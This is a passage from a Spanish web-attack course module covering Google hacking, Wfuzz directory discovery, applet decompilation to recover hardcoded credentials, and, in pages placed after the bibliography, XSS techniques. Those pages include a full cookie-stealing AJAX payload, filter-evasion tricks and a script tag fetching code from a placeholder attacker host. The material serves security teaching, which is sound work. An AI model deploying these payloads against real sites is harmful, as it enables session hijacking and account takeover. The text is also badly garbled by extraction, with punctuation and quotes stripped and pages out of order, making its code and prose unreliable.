CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 11: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

